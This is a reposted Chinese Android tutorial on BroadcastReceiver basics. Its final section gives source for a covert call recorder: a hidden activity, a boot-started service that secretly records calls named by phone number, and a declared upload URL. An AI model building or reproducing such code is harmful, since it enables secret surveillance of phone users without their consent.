Android广播接听器(BroadcastReceiver)
发布日期:2021-06-30 21:21:38 浏览次数:2 分类:技术文章

本文共 7696 字,大约阅读时间需要 25 分钟。

BroadcastReceiver初识:

广播接收者(BroadcastReceiver)用于接收广播Intent,广播Intent的发送是通过调用Context.sendBroadcast()、Context.sendOrderedBroadcast()来实现的。通常一个广播Intent可以被订阅了此Intent的多个广播接收者所接收,这个特性跟JMS中的Topic消息接收者类似。要实现一个广播接收者方法如下:

第一步:继承BroadcastReceiver,并重写onReceive()方法。
public class IncomingSMSReceiver extends BroadcastReceiver {
    @Override public void onReceive(Context context, Intent intent) {
    }
}

第二步:订阅感兴趣的广播Intent,订阅(就是绑定)方法有两种一般使用第二种:
第一种:使用代码进行订阅
IntentFilter filter = new IntentFilter("android.provider.Telephony.SMS_RECEIVED");
IncomingSMSReceiver receiver = new IncomingSMSReceiver();
registerReceiver(receiver, filter);
第二种:在AndroidManifest.xml文件中的<application>节点里进行订阅:
<receiver android:name=".IncomingSMSReceiver">
    <intent-filter>
         <action android:name="android.provider.Telephony.SMS_RECEIVED"/>
    </intent-filter>
</receiver>

自定义广播

1. 什么是广播?广播分为几部分?

            广播电台:发送信号 

收音机:接收信号

 2. 广播接收者:安卓四大组件之一.用于接收如电量低  短信接收 等广播信息。

3. 广播的分类:

    * 有序的广播:通过优先级匹配 优先级高的广播接收者先获取广播数据   有序广播可以终止广播  有序广播可以修改广播数据

    * 无序的广播:电量低的广播,对于所有需要该状态的APP广播接收者来说 接收的顺序是无关紧要.(乱序 每次发送广播的时候接收的顺序是不一样  同时接收得到)

4. 有序的广播开发步骤:

        1. 创建广播接收者

2. 为广播接收者配置优先级 

3. 发送有序的广播

无序广播和有序广播

无序广播:当广播接收者对广播接收的顺序无关紧要。完全没顺序  顺序随机

有序广播:接收广播的顺序比较重要  当一个广播可以被拦截被修改的时候

广播接收者不可执行耗时操作

ANR :Application NOTRESPONSE   应用无响应  当应用卡顿超过5秒之后

onReceive  不能执行耗时操作 因为他运行在主线程里面执行

实验步骤:

1. 创建一个广播接收者。

2. 在广播接收者里面模拟一个耗时操作

解决方案:如果想在广播接收者里面执行耗时操作,就必须创建一个线程。

有何判断有序广播
1.sendOrderedBroadcast(intent, receiverPermission, resultReceiver, scheduler, initialCode, initialData, initialExtras);
有序广播接受着的特性   有三个特性
第一特性 :里面的优先级 就是可以按照顺序来决定   android:priority="333"
第二特性 :里面可以修改广播传输过来的内容
setResultData("");

第三特性 :可以终止广播   abortBroadcast();

广播的截屏于锁屏操作

package com.li.openLock;import android.app.Activity;import android.content.IntentFilter;import android.os.Bundle;import android.view.Menu;import android.view.MenuItem;public class MainActivity extends Activity {	ScreenReceiver  screen;	@Override	protected void onCreate(Bundle savedInstanceState) {		super.onCreate(savedInstanceState);		setContentView(R.layout.activity_main);//		
//
//
//
//
//
//
//广播通过代码注册起来 registerReceiver(receiver, filter) receiver//该参数是一个BroadcastReceiver对象 //filter 对应
该标签 里面有addAction方法 screen = new ScreenReceiver();//接听屏幕广播 IntentFilter filter = new IntentFilter(); filter.addAction("android.intent.action.SCREEN_OFF"); filter.addAction("android.intent.action.SCREEN_ON"); registerReceiver(screen,filter); } @Override protected void onDestroy() { super.onDestroy(); unregisterReceiver(screen);//移除注册广播 }}

package com.li.openLock;import android.content.BroadcastReceiver;import android.content.Context;import android.content.Intent;import android.util.Log;public class ScreenReceiver extends BroadcastReceiver{	/**	 * 锁屏于解锁是频繁操作  所以只能在当前页面注册该广播接听者	 */	@Override	public void onReceive(Context context, Intent intent) {		if(intent.getAction().equals(Intent.ACTION_SCREEN_OFF)){			Log.v("wang", "锁屏");		}else if(intent.getAction().equals(Intent.ACTION_SCREEN_ON)){			Log.v("wang", "解屏");		}			}}
 

电话窃听原理利用开机广播接收者启动服务

MainActivity.java  主线程

package com.li.callMyVoce;import android.app.Activity;import android.content.Intent;import android.os.Bundle;import android.view.View;import android.widget.Toast;public class MainActivity extends Activity {	private boolean mIsOpenServic;	@Override	protected void onCreate(Bundle savedInstanceState) {		super.onCreate(savedInstanceState);		setContentView(R.layout.activity_main);	//1.时时刻刻的接听用户当前的打电话状态  ----> Service	//2.当用户开启接听电话的时候  开始录音   用户挂断了电话停止录音--->录音功能	//3.当发现网络状态(广播  判断是否有网络)是开着的时候就应该发送录音到后台服务器		Intent intent = new Intent(this,CallService.class);		startService(intent);		finish();//关闭页面启动服务在吧页面编程透明的在AndroidManifest.xml配置	}	}

CallService.java   创建服务器

package com.li.callMyVoce;import java.io.File;import java.io.IOException;import java.text.SimpleDateFormat;import java.util.Date;import android.app.Service;import android.content.Intent;import android.media.MediaRecorder;import android.os.IBinder;import android.telephony.PhoneStateListener;import android.telephony.TelephonyManager;import android.util.Log;public class CallService extends Service{		private MediaRecorder mRecorder;	private String url="http://192.168.43.167:8080/upload/upload";	@Override	public void onCreate() {		super.onCreate();		//开始时刻接听用户电话状态   休闲(没有接听电话)   邻响    接通    挂断		//如果自己去写代码接通用户状态  会很复杂 的操作  求系统		//系统服务getSystemService(name)   电话有关的服务      服务的后缀一般以service manager ...作为后缀		//TelephonyManager  他表示可以接听各种各样跟手机有关的很多服务  他表是一个大的概念		TelephonyManager manager=(TelephonyManager)getSystemService(TELEPHONY_SERVICE);										 												//manager.listen(listener, events)		manager.listen(new PhoneStateListener(){										//listener表是接听手机的那个状态比如说接听电话的服务new PhoneStateListenter()//重写方法等等			private String mIncomingNumber="";			boolean boo;			@Override			public void onCallStateChanged(int state, String incomingNumber) {//incomingNumber表示电话号码   只有来点时才有值				switch (state) {				case TelephonyManager.CALL_STATE_IDLE:					Log.v("wang", "CALL_STATE_IDLE   休闲状态  停止   挂断");					if(mRecorder!=null&&boo){												mRecorder.stop();						mRecorder.release();						mRecorder = null;						boo=false;					}										break;				case TelephonyManager.CALL_STATE_OFFHOOK:					Log.v("wang", "CALL_STATE_OFFHOOK  接通");					//开始录音  MediaRecorder主要用来做一个路音的功能					mRecorder = new MediaRecorder();					//设置音频的来源  MIC  DEFAULT主要用在开发的时候					//如果证实打电话 VOICE_DOWNLINK(只能窃取和别人通话的声音)/VOICE_UPLINK(只能听到自己的声音)    VOICE_CALL(两边的声音均可听见)					mRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);					//录音之后要形成一个音频文件的后缀是   .3gp   .mp3  .mp4					mRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);			        //设置音频的文件保存到生命地方					mRecorder.setOutputFile(getRecordFilePath(mIncomingNumber));//输出到哪里					//设置音频的解码						mRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);			        try {			            mRecorder.prepare();			        } catch (IOException e) {			        }			        mRecorder.start();			        boo=true;										break;				case TelephonyManager.CALL_STATE_RINGING:					Log.v("wang", "CALL_STATE_RINGING    电话铃声响状态"+incomingNumber);					mIncomingNumber=incomingNumber;					break;				}			}		}, PhoneStateListener.LISTEN_CALL_STATE);																															// events  就是要指定对那些事件比较关心	}	/**	 * 用户返回保存地址	 * @param phoneCode  传输过来的电话号码	 * @return  返回文件地址	 */	private String getRecordFilePath(String phoneCode){		//文件格式  点个号码 +"#"+时间 +".3gp"		SimpleDateFormat formatter = new SimpleDateFormat("yy-MM-dd hh:mm");		String fileName=phoneCode+"#"+formatter.format(new Date())+".3gp";		File file=new File(getFilesDir(),fileName);		return file.getAbsolutePath();	}	public String subName(String name){		return name.substring(name.lastIndexOf("/")+1);	}	@Override	public IBinder onBind(Intent intent) {		// TODO Auto-generated method stub		return null;	}}

BootReceiver.java   创建开机广播接听器

package com.li.callMyVoce;import android.content.BroadcastReceiver;import android.content.Context;import android.content.Intent;public class BootReceiver extends BroadcastReceiver{	//创建一个广播接听器用于接听开机于关机的情况	@Override	public void onReceive(Context context, Intent intent) {		Intent service = new Intent(context,CallService.class);		context.startService(service);	}}

AndroidManifest.xml  配置文件

总结:

我学玩之后广播接听器认为就是用于跨软件操作  和  接听 信息等等事件...

BroadcastReceiver主要用于接收处理广播消息  不管是自己的还是外部软件以及系统都可以通过BroadcastReceiver处理  

转载地址:https://liwangjiang.blog.csdn.net/article/details/79692398 如侵犯您的版权,请留言回复原文章的地址,我们会给您删除此文章,给您带来不便请您谅解!

上一篇:Android后台服务Service
下一篇:Intent(意图)对象的详细应用

发表评论

最新留言

逛到本站,mark一下
[***.202.152.39]2024年05月02日 22时04分04秒